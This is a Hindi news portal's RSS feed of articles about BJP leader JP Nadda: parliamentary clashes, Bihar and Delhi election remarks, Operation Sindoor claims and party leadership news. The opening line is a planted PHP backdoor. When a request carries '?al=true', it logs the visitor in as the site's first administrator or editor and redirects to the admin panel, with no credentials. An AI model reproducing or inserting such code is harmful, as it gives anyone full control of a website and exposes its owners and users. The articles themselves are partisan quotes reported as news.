// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); JP Nadda – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 09 Mar 2026 06:55:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 वहीं बैठे रहोगे और घटते चले जाओगे, राज्यसभा में विपक्ष के वॉकआउट पर भड़के नड्डा https://pratyushaashakinayikiran.com/?p=203521 Mon, 09 Mar 2026 06:55:00 +0000 https://pratyushaashakinayikiran.com/?p=203521 नई दिल्ली.

संसद के बजट सत्र का दूसरा चरण सोमवार से शुरू हो रहा है। पहले ही दिन दो बड़े घटनाक्रम देखने को मिल सकते हैं। इनमें लोकसभा स्पीकर ओम बिरला के खिलाफ लाए गए अविश्वास प्रस्ताव पर चर्चा और विदेश मंत्री एस जयशंकर का पश्चिम एशिया के हालात पर बयान है। माना जा रहा है कि वैश्विक उथल-पुथल के बीच होने जा रहे सत्र के दूसरे चरण के भी हंगामेदार रहने के आसार हैं।

खबर है कि भारतीय जनता पार्टी और कांग्रेस ने अपने सांसदों को तीनों दिनों के लिए व्हिप जारी कर दिया है। केंद्रीय संसदीय मंत्री किरेन रिजिजू ने जहां सत्तापक्ष की तरफ से चर्चा में हिस्सा लेने वाली सदस्यों के साथ बैठक की, वहीं कांग्रेस ने भी बैठक कर रणनीति पर चर्चा की थी। कहा जा रहा है कि बिरला के खिलाफ लाए जा रहे प्रस्ताव पर 10 घंटे चर्चा हो सकती है। संसदीय सूत्र बताते हैं कि विपक्ष के 118 सांसदों ने प्रस्ताव के समर्थन में नोटिस पर हस्ताक्षर किए हैं। नोटिस पर तृणमूल कांग्रेस ने हस्ताक्षर नहीं किए थे, पर नए घटनाक्रम में टीएमसी ने भी प्रस्ताव का समर्थन करने का निर्णय लिया है। एनसीपी (शरद पवार) ने भी अभी तक अपना रुख साफ नहीं किया है, पर माना जा रहा है कि एनसीपी (एसपी) विपक्षी दलों के खिलाफ नहीं जाएगी।

विपक्ष पर भड़के नड्डा, ओछी राजनीति के लगाए आरोप
विदेश मंत्री एस जयशंकर की तरफ से पश्चिम एशिया पर बयान दिए जाने के दौरान विपक्ष वॉक आउट कर गया। इसपर सत्ता पक्ष के नेता जगत प्रकाश नड्डा ने कड़ी आपत्ति जताई। उन्होंने ऑपरेशन सिंदूर, बजट भाषण, वक्फ बिल पर जेपीसी रिपोर्ट समेत कई मामलों का जिक्र कर कहा कि जब भी जवाब की बारी आती है, तो विपक्ष वॉक आउट कर जाता है। उन्होंने कहा, 'इनका कोई इंटरेस्ट भारत के लोगों के विकास में नहीं है, इनका कोई इंटरेस्ट विकसित भारत में नहीं है, कोई इंटरेस्ट आत्मनिर्भर भारत में नहीं है। कोई इंटरेस्ट देश आगे बढ़े इसमें नहीं है। इनका इंटरेस्ट ओछी राजनीति को आगे बढ़ाना है।

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जेपी नड्डा का दावा: जहां-जहां एनडीए सरकार है, वहां विकास की गारंटी है https://pratyushaashakinayikiran.com/?p=188325 Thu, 30 Oct 2025 17:20:00 +0000 https://pratyushaashakinayikiran.com/?p=188325 बिहार शरीफ
भाजपा के राष्ट्रीय अध्यक्ष और केंद्रीय मंत्री जगत प्रकाश नड्डा ने गुरुवार को नालंदा में एक चुनावी सभा को संबोधित करते हुए कहा कि जहां-जहां एनडीए सरकार है, वहां विकास है। बिहार में सीएम नीतीश कुमार के नेतृत्व में विकास के काम दिख रहे हैं। उन्होंने कहा कि जहां भी एनडीए की सरकार आई है, वहां-वहां विकास हुआ है। जहां-जहां दूसरे दलों की सरकार आई, वहां विकास थम सा गया। पिछले 20 साल में नीतीश कुमार के नेतृत्व में और पीएम नरेंद्र मोदी के आशीर्वाद से बिहार ने फिर से विकास की रफ्तार को पकड़ा और विकास की ओर चल पड़ा। आने वाला चुनाव बिहार के विकास की गति को बनाए रखने वाला चुनाव है। जेपी नड्डा ने कहा कि बिहार में आज चारों तरफ उजाला है। गांव में 23-24 घंटे बिजली आती है। गांवों को सड़क से जोड़ दिया गया है। हर घर नल, हर घर जल कार्यक्रम से बिहार के 1.60 करोड़ परिवारों को नल से जल पहुंचा दिया गया है। उजाले का महत्व तब होता है, जब आप अंधकार की त्रासदी को पहचानते हों।

उन्होंने राजद शासनकाल की चर्चा करते हुए कहा कि 20 साल पहले लालू यादव के राज में 90 के दशक से लेकर 2005 तक ये अंधकारमय बिहार था, ये जंगलराज वाला बिहार था। आज पीएम मोदी के आशीर्वाद से और नीतीश की कड़ी मेहनत के कारण आज ये बदला हुआ बिहार है, विकास की लंबी छलांग लगाता हुआ बिहार है। नड्डा ने महिलाओं के सशक्तिकरण की योजनाओं की चर्चा करते हुए कहा कि सीएम नीतीश कुमार की सरकार ने महिला रोजगार योजना के अंतर्गत महिलाओं के खाते में 10-10 हजार रुपए डाले हैं। चुनाव के बाद बहनों के स्वरोजगार के लिए दो लाख रुपए उनके बैंक खातों में भेजे जाएंगे।

उन्होंने साफ लहजे में कहा, "मैं कांग्रेस और राजद के बारे में बात करता हूं, तो याद रखिएगा कि इन्हें चुनाव में जनता से कोई मतलब नहीं है। लालू अपने बेटे को मुख्यमंत्री बनाने में लगे हैं और सोनिया अपने बेटे राहुल को प्रधानमंत्री बनाने में लगी हैं। इन्हें जनता के हितों से कोई सरोकार नहीं है। इन्हें केवल अपने परिवार की चिंता है।" उन्होंने कहा कि राजद के शासनकाल में बिहार में फिरौती और अपहरण उद्योग बन गया था। डॉक्टर, इंजीनियर जैसे प्रोफेशनल्स बिहार छोड़कर जाने लगे थे, क्योंकि इनका सरेआम अपहरण होता था और अपहरण की फिरौती की रकम मुख्यमंत्री निवास से तय होती थी। बिहार में यह जंगलराज था।

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22 मिनट में कार्रवाई, 11 दिन में बदला! जेपी नड्डा ने सुनाई स्ट्राइक की पूरी टाइमलाइन https://pratyushaashakinayikiran.com/?p=174354 Wed, 30 Jul 2025 12:41:00 +0000 https://pratyushaashakinayikiran.com/?p=174354 नई दिल्ली

राज्यसभा में ऑपरेशन सिंदूर पर चर्चा के दौरान केंद्रीय मंत्री और नेता सदन जेपी नड्डा ने यूपीए के कार्यकाल में हुए आतंकी हमलों का जिक्र करते हुए कांग्रेस पर निशाना साधा. उन्होंने कहा कि साल 2014 में मोदी सरकार आने के बाद अमावस्या हटी और हम पूर्णिमा की ओर बढ़े. नड्डा ने कहा कि 2014 के बाद से जम्मू कश्मीर को छोड़कर देश में कहीं भी आतंकी हमले बंद हो गए हैं.

आतंकी हमलों में 80 फीसदी की कमी

उन्होंने कहा कि पहले की सरकारों में हैदराबाद, कोलकाता, मुंबई, वाराणसी, बेंगलुरु और दिल्ली जैसी जगहों पर आतंकी हमले होते थे. कोई जगह बची नहीं थी, हर जगह बम ब्लास्ट होते थे. नड्डा ने कहा कि दिल्ली में तो 2004 से 2014 तक तीन-तीन बार बम धमाके हुए थे. उन्होंने कहा कि यूपीए के 10 साल की तुलना में मोदी सरकार के 10 साल में हुए आतंकी हमलों में 80 फीसदी की कमी आई है. साथ ही नागरिकों और सुरक्षाबलों के जवानों की हत्या में भी कम आई है.

जेपी नड्डा ने कहा कि साल 2016 में हुए उरी हमले में जैश के आतंकियों ने 19 जवानों की हत्या की, जिसके बाद प्रधानमंत्री नरेंद्र मोदी ने केरल के कोझिकोड कहा था कि उरी हमले की गुनहगारों को बख्शा नहीं जाएगा. इसके बाद तीन दिन के भीतर सितंबर 28-29 को आतंकियों के लॉन्चिंग पैड्स पर सर्जिकल स्ट्राइक हुईं, जिसमें उनके ठिकानों तबाह कर दिया गया और पाकिस्तानी जवान और आतंकी मारे गए. ये बदलते भारत की निशानी है.

11 दिन में दिया पुलवामा का जवाब

उन्होंने कहा कि इसके बाद साल 2019 में पुलवामा में CRPF के 40 जवानों की हत्या की गई और पीएम मोदी ने पालम एयरपोर्ट पर शहीदों को श्रद्धांजलि दी थी. इसके बाद अपने संबोधन में कहा कि पाकिस्तान ने बहुत बड़ी गलती कर दी है और इसका खामियाजा उसे भुगतना पड़ेगा. नड्डा ने कहा कि 11 दिन के भीतर बालाकोट एयरस्ट्राइक कर पुलवामा हमले का जवाब दिया गया. सेना ने 70 किमी के अंदर घुसकर आतंकी ठिकानों को तबाह किया.

जेपी नड्डा ने कहा कि यह राजनीतिक इच्छाशक्ति की निशानी है. वरना पहले हम देखेंगे, विचार करेंगे, डोजियर भेजेंगे और बिरयानी खिलाएंगे होता था. लेकिन पीएम मोदी ने कहा कि पाकिस्तान ने गलती कर दी है और खामियाजा भुगतना पड़ेगा. इन शब्दों से आतंकवाद के खिलाफ मोदी सरकार की राजनीतिक इच्छाशक्ति साफ होती है.

22 मिनट में 22 अप्रैल का बदला

बीजेपी सांसद नड्डा ने आगे कहा कि 22 अप्रैल को पहलगाम आतंकी हमले के बाद पीएम मोदी बिहार के मधुबनी में पंचायती राज के एक कार्यक्रम में गए थे, जबकि विपक्ष ने आरोप लगाया है कि वह चुनावी जनसभा करने गए थे. इस दौरान पीएम मोदी ने कहा था कि आतंकियों को कल्पना से भी बड़ी सजा मिलेगी. इसके बाद 13 दिन के भीतर ऑपरेशन सिंदूर के जरिए पहलगाम हमले का जवाब दिया गया.

राज्यसभा में नेता सदन नड्डा ने कहा कि हमने पाकिस्तान में 300 किमी घुसकर हमला किया और आतंकी ठिकाने तबाह किए. साथ ही पाकिस्तान के हवाई ठिकानों को भी टारगेट किया गया. जैश, लश्कर और हिजबुल मुजाहिदीन के ठिकानों को तबाह किया गया. उन्होंने कहा कि 22 मिनट में 22 अप्रैल का बदला लिया गया, ऐसा इतिहास में पहली बार हुआ. कभी भी किसी सरकार ने पाकिस्तान को ऐसा जवाब नहीं दिया था, जैसा ऑपरेशन सिंदूर के जरिए दिया गया.

जेपी नड्डा ने सदन को बताया कि हमले के बाद पाकिस्तान ने हजार के आसपास मिसाइल और ड्रोन हमारे ऊपर छोड़े, लेकिन भारत की फौज के पराक्रम की वजह से एक भी नागरिक हताहत नहीं हुआ. फिर इसके जवाब में भारतीय सेना ने सैन्य कार्रवाई करते हुए पाकिस्तान के 11 हवाई ठिकानों को भी ध्वस्त कर दिया, जिनकी हालत ऐसी है कि वो अब बंद पड़े हैं. 

विपक्ष पर निशाना साधते हुए नड्डा ने कहा कि उस समय की कांग्रेस सरकार की तुष्टिकरण की हद को समझना होगा कि 2008 में जयपुर धमाके के बाद भी भारत और पाकिस्तान के बीच विश्वास बहाली के उपायों पर सहमति बनी. उन्होंने कहा कि वे हमें गोलियों से भूनते रहे और हम उन्हें बिरयानी खिलाने चले. नड्डा ने कहा कि उस समय की सरकार ने 2005 के दिल्ली सीरियल बम ब्लास्ट, 2006 के वाराणसी आतंकी हमले और 2006 के मुंबई लोकल ट्रेन बम धमाकों पर कोई एक्शन नहीं लिया. उन्होंने कहा कि मुद्दा यह है कि उस दौर में भारत और पाकिस्तान के बीच आतंक, व्यापार और पर्यटन तीनों एक साथ चलते रहे.

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महिला सुरक्षा पर पश्चिम बंगाल सरकार फेल: जेपी नड्डा का बड़ा आरोप https://pratyushaashakinayikiran.com/?p=169063 Tue, 08 Jul 2025 15:36:00 +0000 https://pratyushaashakinayikiran.com/?p=169063 नई दिल्ली/कोलकाता 
पश्चिम बंगाल की राजधानी कोलकाता स्थित लॉ कॉलेज में छात्रा से हुए गैंगरेप मामले पर भारतीय जनता पार्टी की जांच कमेटी ने अपनी रिपोर्ट सौंप दी है। भाजपा की कमेटी ने पार्टी के राष्ट्रीय अध्यक्ष जेपी नड्डा को रिपोर्ट सौंपी है। इसमें पश्चिम बंगाल सरकार पर गंभीर आरोप लगाए गए हैं। भाजपा की 'फैक्ट फाइंडिंग टीम' के सदस्यों ने मंगलवार को पार्टी अध्यक्ष जेपी नड्डा से मुलाकात की। उन्होंने बंगाल की स्थिति को लेकर जेपी नड्डा को जानकारी दी।
जेपी नड्डा ने सोशल मीडिया प्लेटफॉर्म 'एक्स' पर लिखा, "कोलकाता में लॉ छात्रा के साथ हुए जघन्य अपराध की जांच के लिए गठित भाजपा फैक्ट फाइंडिंग टीम की रिपोर्ट मिली है। यह रिपोर्ट पश्चिम बंगाल में अराजकता की चरम स्थिति और महिला सुरक्षा के प्रति राज्य सरकार की चिंताजनक असंवेदनशीलता को उजागर करती है। संदेशखाली से लेकर आरजी कर मेडिकल कॉलेज और अब यह कोलकाता लॉ कॉलेज, पैटर्न वही है, चुप्पी, निष्क्रियता और आरोपियों को संरक्षण।"
भाजपा ने कोलकाता गैंगरेप केस को लेकर 4 सदस्यीय 'फैक्ट फाइंडिंग टीम' का गठन किया था, जिसमें पूर्व केंद्रीय मंत्री सतपाल सिंह, मीनाक्षी लेखी, सांसद बिप्लब कुमार देब और मनन कुमार मिश्रा शामिल थे।
कोलकाता के लॉ कॉलेज में 25 जून को तीन युवकों ने कथित तौर पर छात्रा के साथ गैंगरेप किया था। इन आरोपियों में मोनोजीत मिश्रा इसी कॉलेज का पूर्व छात्र है, जबकि अन्य दो आरोपी जैब अहमद और प्रमित यहां पढ़ाई कर रहे थे। मोनोजीत मिश्रा टीएमसी की छात्र इकाई का सदस्य भी बताया जाता है।
छात्रा की तरफ से शिकायत के बाद मामला सामने आया, जिसमें अगले दिन मोनोजीत मिश्रा, जैब अहमद और प्रमित को गिरफ्तार कर लिया गया। मामले में सिक्योरिटी गार्ड की भी गिरफ्तारी हुई है, जिसने कथित तौर पर पीड़ित छात्रा की मदद से इनकार किया था।
इस वारदात के बाद से भाजपा लगातार पश्चिम बंगाल सरकार पर हमलावर है। राज्य में जगह-जगह विरोध प्रदर्शन किए जा रहे हैं। पश्चिम बंगाल विधानसभा में नेता प्रतिपक्ष सुवेंदु अधिकारी का कहना है, "यह जघन्य अपराध टीएमसी शासन के तहत बंगाल की आत्मा पर एक और धब्बा है, जहां महिलाओं की सुरक्षा से बार-बार समझौता किया जाता है।"

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राहुल गांधी के पीएम मोदी के सरेंडर वाले बयान पर जेपी नड्डा का पलटवार, कहा- ये कांग्रेस की डिक्शनरी में है https://pratyushaashakinayikiran.com/?p=161477 Wed, 04 Jun 2025 15:55:00 +0000 https://pratyushaashakinayikiran.com/?p=161477 नई दिल्ली 
कांग्रेस सांसद राहुल गांधी के ' प्रधानमंत्री नरेंद्र मोदी के सरेंडर' वाले बयान पर केंद्रीय मंत्री और भाजपा के राष्ट्रीय अध्यक्ष जेपी नड्डा ने पलटवार किया है। उन्होंने राहुल गांधी पर तंज कसते हुए कहा कि सरेंडर आप और आपकी पार्टी ने किया होगा। भारत कभी सरेंडर नहीं करता। सरेंडर आपकी पार्टी कांग्रेस की डिक्शनरी में है, आपके डीएनए में है। केंद्रीय मंत्री जेपी नड्डा ने सोशल मीडिया पर एक के बाद एक कई पोस्ट कर राहुल गांधी को जवाब दिया। जेपी नड्डा ने बुधवार को सोशल मीडिया प्लेटफॉर्म एक्स पर लिखा,''राहुल गांधी द्वारा भारतीय सेना के अप्रतिम शौर्य एवं पराक्रम को ‘सरेंडर’ कहकर संबोधित करना, न केवल दुर्भाग्यपूर्ण है बल्कि भारतीय सेना और राष्ट्र के साथ-साथ 140 करोड़ भारतवासियों का भी घोर अपमान है। अगर कोई पाकिस्तानी भी ऐसा कहता तो हम उस पर हंसते भी, लेकिन, जिस तरह से ऑपरेशन सिंदूर के दौरान भारतीय सेना ने पाकिस्तान में तबाही मचाई, उसके बाद पाकिस्तान की जनता से लेकर उसकी सेना और उसके प्रधानमंत्री ने भी ऐसा कहने की हिम्मत नहीं की, लेकिन राहुल गांधी ऐसा बोल रहे हैं! यह देशद्रोह से कम नहीं है।''
एक अन्य पोस्ट में उन्होंने लिखा, ''भारतीय सेना ने पाकिस्तान में 300 किमी घुसकर उसके 11 एयरबेस को तबाह किया, 9 आतंकी अड्डों को ध्वस्त किया, 150 से ज्यादा आतंकी मारे। पाकिस्तान तो रोते-रोते दुनिया को बता रहा है कि भारतीय सेना ने पाकिस्तान में 18 जगह हमला करके सब कुछ तबाह कर दिया और राहुल गांधी देश के सरेंडर की बात कर रहे हैं। राहुल गांधी को पता होना चाहिए कि 'ऑपरेशन सिंदूर' की सफलता की घोषणा सरकार ने या भाजपा के किसी प्रवक्ता ने नहीं की थी, बल्कि भारतीय सेना के वरिष्ठ अधिकारियों द्वारा की गई थी। 'ऑपरेशन सिंदूर' भारतीय सेना की बहादुरी, शौर्य एवं पराक्रम का उद्घोष है। वास्तव में जिनकी नीतियां सरेंडर की रही हो, उसे इसके आगे कुछ सूझ भी नहीं सकता – क्यों, ऐसा ही है न राहुल गांधी जी?''
भाजपा अध्यक्ष नड्डा ने आगे कांग्रेस पर निशाना साधते हुए लिखा, ''राहुल गांधी, सरेंडर आप करते होंगे, आपकी पार्टी ने किया होगा, आपके नेताओं ने सरेंडर किया होगा क्योंकि आपका इतिहास ही ऐसा रहा है, लेकिन भारत कभी सरेंडर नहीं करता। सरेंडर आपकी पार्टी कांग्रेस की डिक्शनरी में है, आपके डीएनए में है। राहुल गांधी, आपको अपनी पार्टी की सरकारों का कार्यकाल याद करना चाहिए, किस तरह आपने इतिहास में 'सरेंडर' किया। आपने आतंकवाद के सामने सरेंडर किया, शर्म-अल-शेख में सरेंडर किया, 1971 की लड़ाई जीतने के बाद शिमला में टेबल पर सरेंडर किया, सिंधु जल समझौते में सरेंडर किया, हाजी पीर का दर्रा सरेंडर किया, छम्ब सेक्टर का 160 किमी का इलाका सरेंडर किया, 1962 की लड़ाई में सरेंडर किया, 1948 में सरेंडर किया और यहां तक कि देश की आजादी के समय मुस्लिम लीग के भी सामने सरेंडर किया।''

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राज्यसभा में एक बार फिर सत्ता पक्ष और विपक्ष के बीच तीखा संवाद देखने को मिला, नेता प्रतिपक्ष ने मांगी माफी https://pratyushaashakinayikiran.com/?p=138875 Tue, 11 Mar 2025 15:05:00 +0000 https://pratyushaashakinayikiran.com/?p=138875 नई दिल्ली
राज्यसभा में मंगलवार को एक बार फिर सत्ता पक्ष और विपक्ष के बीच तीखा संवाद देखने को मिला। इस दौरान नेता प्रतिपक्ष मल्लिकार्जुन खड़गे की एक टिप्पणी पर सदन के नेता जे.पी. नड्डा ने कड़ा विरोध जताया और माफी की मांग की। इसके तुरंत बाद खड़गे ने स्पष्ट किया कि उनकी यह टिप्पणी उपसभापति हरिवंश के प्रति नहीं, बल्कि सरकार की नीतियों के प्रति थी। उन्होंने कहा कि यदि उन्हें इससे ठेस पहुंची है तो वह माफी मांगते हैं।

कांग्रेस सांसद दिग्विजय सिंह द्वारा शिक्षा मंत्रालय के कामकाज पर चर्चा शुरू की जानी थी। दिग्विजय सिंह के बोलने से पहले राज्यसभा में नेता प्रतिपक्ष मल्लिकार्जुन खड़गे सदन में हो रहे शोर-शराबे के बीच बोलने के लिए खड़े हुए। उन्होंने कहा, "हमने इस पर बोलने के लिए तैयारी भी की है।" इसके बाद उन्होंने कुछ ऐसी बात कही जिस पर सत्ता पक्ष की तरफ से आपत्ति की गई।

नेता सदन जे.पी. नड्डा ने इस पर आपत्ति जताते हुए कहा, "यह बहुत ही दुख की बात है। नेता प्रतिपक्ष जो इतने अनुभवी हैं, लंबे समय तक प्रदेश और संसद में रहे हैं, लोकसभा में और राज्यसभा में नेता और सदस्य के रूप में भी काम किया, उन्होंने यहां जिस भाषा का उपयोग किया वह निंदनीय है।" उन्होंने कहा नेता प्रतिपक्ष को अपनी इस टिप्पणी के लिए माफी मांगनी चाहिए। उन्होंने आसन के प्रति जिस प्रकार के शब्द का उपयोग किया है, वह अस्वीकार्य है।

जेपी नड्डा ने कहा कि यह भाषा माफी के योग्य नहीं है, फिर भी नेता प्रतिपक्ष को माफी मांगनी चाहिए। उन्हें अपने शब्दों को वापस लेना चाहिए, नहीं तो उनके शब्दों को सदन की कार्यवाही से बाहर निकालना चाहिए।

मल्लिकार्जुन खड़गे ने इस पर सफाई देते हुए कहा, "मैं माफी चाहता हूं। सर, मैंने आपके लिए कुछ नहीं बोला।" उन्होंने स्पष्ट किया कि उन्होंने सरकार की नीतियों के प्रति यह बात कही थी। नेता प्रतिपक्ष ने कहा, "यदि आपको मेरी बातों से ठेस लगी तो मैं आपसे माफी मांगता हूं, लेकिन सरकार से नहीं।" इसके बाद उन्होंने अपनी बात रखनी शुरू की। जेपी नड्डा ने कहा कि खड़गे ने अपने वक्तव्य के लिए आसन से माफी मांगी है जो सराहनीय है, लेकिन "उन्होंने सरकार के बारे में जो शब्दावली कही है वह भी निंदनीय है" और वह भी कार्यवाही से बाहर निकाली जानी चाहिए।

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बीजेपी को नया अध्यक्ष मिलने की बढ़ गई तारीख, कब तक मिलेगा जेपी नड्डा का विकल्प https://pratyushaashakinayikiran.com/?p=131795 Sun, 16 Feb 2025 11:36:00 +0000 https://pratyushaashakinayikiran.com/?p=131795 नई दिल्ली

जेपी नड्डा बीते करीब 6 सालों से भाजपा के लगातार अध्यक्ष बने हुए हैं। उन्हें लोकसभा चुनाव तक के लिए कार्य़काल विस्तार मिला था, लेकिन फिर महाराष्ट्र, हरियाणा जैसे राज्यों के चुनाव के कारण नए अध्यक्ष का चुनाव लटक गया। उम्मीद थी कि जनवरी या फरवरी तक भाजपा को नया अध्यक्ष मिल जाएगा, लेकिन यह फिर से टल गया है। अब कहा जा रहा है कि मार्च में भाजपा को जेपी नड्डा का विकल्प मिल पाएगा। इसकी वजह यह है कि भाजपा के संविधान के अनुसार राष्ट्रीय अध्यक्ष के चुनाव से पहले कम से कम आधी राज्य इकाइयों के अध्यक्षों का चुनाव हो जाना चाहिए। वहीं प्रदेश अध्यक्षों के इलेक्शन से पहले जिलाध्यक्ष चुने जाने चाहिए। अब तक कई राज्य ऐसे हैं, जहां जिलाध्यक्ष ही नहीं चुने जा सके हैं और इसके कारण प्रदेश अध्यक्षों का इलेक्शन अटका है।

फिर इसी के कारण राष्ट्रीय अध्यक्ष के चुनाव में भी देरी हो रही है। इसकी एक वजह यह भी रही कि भाजपा ने अपने संगठन की पूरी मशीनरी को दिल्ली विधानसभा चुनाव में उतार दिया था। इसके कारण कई राज्यों में संगठन चुनाव लटक गए। भाजपा ने अब तक 36 राज्यों और केंद्र शासित प्रदेशों में से 11 में ही प्रदेश अध्यक्ष चुने हैं। कई राज्यों में चुनाव जारी हैं और कहीं तो अध्यक्षों को रिपीट ही किया जा रहा है। अब तक आंध्र प्रदेश, बिहार, हिमाचल प्रदेश जैसे राज्यों में जिलाध्यक्षों का चुनाव हो चुका है। लेकिन उत्तराखंड, यूपी समेत कई राज्यों में अब भी इलेक्शन अटका हुआ है। भाजपा संगठन के लोगों का कहना है कि राज्यों में ही चुनाव होना फऱवरी या मार्च के शुरुआती दिनों तक संभव है। ऐसे में इसके बाद ही राष्ट्रीय अध्यक्ष का चुनाव होगा।

इस तरह पूरी संभावना है कि मार्च के आखिर तक ही भाजपा को नया अध्यक्ष मिल जाएगा। इस देरी कि एक वजह य़ह भी रही कि लोकसभा चुनाव के बाद भी लगातार राज्यों के चुनाव बने रहे। फिर दिल्ली विधानसभा चुनाव आ गया। अब बिहार विधानसभा इलेक्शन में करीब 6 महीने का वक्त है। ऐसे में बीच के इस समय का इस्तेमाल भाजपा संगठन में बदलाव के लिए करना चाहेगी। इससे संगठन की कमान संभालने वाले नए अध्यक्ष को भी तैयारी का मौका मिल जाएगा।

भाजपा के अध्यक्ष का कार्यकाल तीन साल का ही होता है, लेकिन जेपी नड्डा को इस बार विस्तार मिला। जेपी नड्डा भले ही पीएम नरेंद्र मोदी की छाया में रहे हैं, लेकिन उनके कार्य़काल को कई राज्यों में शानदार जीत और लगातार तीसरी बार केंद्र में सरकार बनने के लिए याद किया जाएगा। इसी दौर में ओडिशा, दिल्ली जैसे राज्यों में जीत मिली तो वहीं महाराष्ट्र और हरियाणा जैसे राज्यों में भाजपा ने जीत की हैट्रिक भी लगा दी।

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बीजेपी अध्यक्ष जे पी नड्डा ने दिल्ली चुनाव में भाजपा की जीत से हुए गदगद, आप-दा मुक्त हुई राजधानी https://pratyushaashakinayikiran.com/?p=130203 Sat, 08 Feb 2025 15:19:00 +0000 https://pratyushaashakinayikiran.com/?p=130203 नई दिल्ली
भारतीय जनता पार्टी (भाजपा) के अध्यक्ष जे पी नड्डा ने दिल्ली विधानसभा चुनाव में आम आदमी पार्टी (आप) की हार को प्रधानमंत्री नरेन्द्र मोदी के कुशल नेतृत्व में सेवा, सुशासन, गरीब कल्याण, अंत्योदय व विकासपरक नीतियों पर जनता-जनार्दन के अटूट समर्थन की जीत करार दिया। उन्होंने ‘एक्स' पर एक पोस्ट में कहा, ‘‘‘आप-दा' सरकार ने दिल्ली में भ्रष्टाचार, कुशासन, और तुष्टीकरण की सारी सीमाएं लांघ दी थीं। आज दिल्ली उनके झूठ, छल और प्रपंच से मुक्त होकर प्रगति और प्रतिष्ठा के नए युग में अपनी यात्रा आरंभ कर रही है। यह जनादेश ‘विकसित दिल्ली-विकसित भारत' के हमारे संकल्प को साकार स्वरूप प्रदान करेगा।''
 
यह जनता- जनार्दन के अटूट समर्थन की जीत- नड्डा
जेपी नड्डा ने कहा, ‘‘‘आप-दा' मुक्त दिल्ली! आज दिल्ली विधानसभा चुनाव के परिणाम में भारतीय जनता पार्टी की प्रचंड विजय आदरणीय प्रधानमंत्री नरेन्द्र मोदी के कुशल नेतृत्व में सेवा, सुशासन, गरीब कल्याण, अंत्योदय व विकासपरक नीतियों पर जनता- जनार्दन के अटूट समर्थन की जीत है।'' भाजपा अध्यक्ष ने इस ‘प्रचंड विजय' के लिए प्रधानमंत्री मोदी के प्रति आभार जताया और समस्त भाजपा कार्यकर्ताओं तथा दिल्लीवासियों का अभिनंदन किया। दिल्ली में भाजपा 27 साल बाद दिल्ली की सत्ता में वापसी करने जा रही है।

48 सीट पर निर्णायक बहुमत की ओर भाजपा
भाजपा दिल्ली की 70 में से 48 सीट पर निर्णायक बहुमत की ओर बढ़ती दिख रही है जबकि आम आदमी पार्टी 22 सीट पर सिमटने के कगार पर है। एक बार फिर कांग्रेस राष्ट्रीय राजधानी में अपना खाता खोलती नहीं दिख रही है। अब तक के आंकड़ों के मुताबिक, भाजपा को करीब 47 प्रतिशत और आप को 43 प्रतिशत वोट मिले हैं। आम आदमी पार्टी (आप) के संयोजक अरविंद केजरीवाल और पूर्व उपमुख्यमंत्री मनीष सिसोदिया, मंत्री सौरभ भारद्वाज सहित सत्तारूढ़ दल के कई अन्य प्रमुख नेता चुनाव हार गए हैं।

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मंत्री जेपी नड्डा ने राहुल गांधी के ‘इंडियन स्टेट’ बयान को संविधान का मखौल उड़ाने वाला बताया, नहीं है इतिहास की जानकारी https://pratyushaashakinayikiran.com/?p=123171 Sun, 19 Jan 2025 21:06:00 +0000 https://pratyushaashakinayikiran.com/?p=123171 अहमदाबाद
भाजपा अध्यक्ष और केंद्रीय स्वास्थ्य मंत्री जेपी नड्डा ने राहुल गांधी के 'इंडियन स्टेट' बयान को संविधान का मखौल उड़ाने वाला बताया है। लोकसभा सांसद की 'इतिहास संबंधी जानकारी' पर भी सवाल उठाए।

जेपी नड्डा ने गुजरात में संविधान गौरव अभियान के तहत एक जनसभा को संबोधित किया। बोले, " कांग्रेस नेता राहुल गांधी "फाइट अगेंस्ट द इंडियन स्टेट" की बात करते हैं। आपने सुना होगा, राहुल गांधी कहते हैं कि फाइट अगेंस्ट द इंडियन स्टेट। इन्हें न इतिहास की जानकारी है, न ही इतिहास से इनको कोई लेना-देना है। मैं कई बार कहता हूं कि इनके स्पीच राइटर कुछ भी लिख देते हैं और ये वहीं बात सार्वजनिक तौर पर बोल देते हैं। सबसे ज्यादा किसी ने संविधान का माखौल उड़ाया है तो वह कांग्रेस पार्टी है।"

नड्डा ने कांग्रेस राज का जिक्र भी किया। उन्होंने कहा, " 75 साल की इस यात्रा में 65 साल कांग्रेस के नेताओं ने इस देश पर राज किया। लेकिन बाबा साहेब अंबेडकर द्वारा बनाए गए संविधान के साथ कांग्रेस पार्टी ने खिलवाड़ किया। स्वतंत्रता के बाद तत्कालीन प्रधानमंत्री जवाहरलाल नेहरू ने जम्मू-कश्मीर की जिम्मेदारी ली थी, ऐसी-ऐसी खिचड़ी पकी कि वहां धारा 370 लागू कर दिया। जम्मू कश्मीर राज्य को विशेषाधिकार देने और भारत से अलग करने की इस नीति पर बाबा साहेब अंबेडकर ने देशद्रोह करार दिया था। बाबा साहेब ने अच्छा संविधान बनाया लेकिन बुरे लोगों ने उसका दुरुपयोग कर जम्मू-कश्मीर में 35ए लगाई, जिसे संसद से भी पास नहीं कराया गया। संसद को धोखा देने वाले ये लोग आज संसद की मर्यादा की चिंता करने का नाटक कर रहे हैं।"

उन्होंने कहा कि इलाहाबाद हाईकोर्ट ने 1975 में श्रीमती इंदिरा गांधी का चुनाव निरस्त किया था। उस समय देश को खतरा नहीं था बल्कि इंदिरा गांधी की कुर्सी को खतरा था। उसे बचाने के लिए उन्होंने भारत में आपातकाल लगा दिया था। वहीं शाहबानों केस में सुप्रीम कोर्ट ने पीड़ित महिला को गुजारा भत्ता देने के आदेश दिया था लेकिन तत्कालीन प्रधानमंत्री राजीव गांधी ने मुस्लिम नेताओं और मौलवियों के दबाव में आकर कानून ही बदल दिया। जिसका परिणाम यह हुआ कि शाहबानों को न्याय नहीं मिल सका।

